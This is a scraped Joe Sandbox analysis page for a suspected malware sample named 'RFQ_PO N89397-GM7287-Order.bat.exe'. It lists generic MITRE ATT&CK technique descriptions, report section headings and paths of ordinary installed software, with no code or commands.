Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ_PO N89397-GM7287-Order.bat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Windows Analysis Report
RFQ_PO N89397-GM7287-Order.bat.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre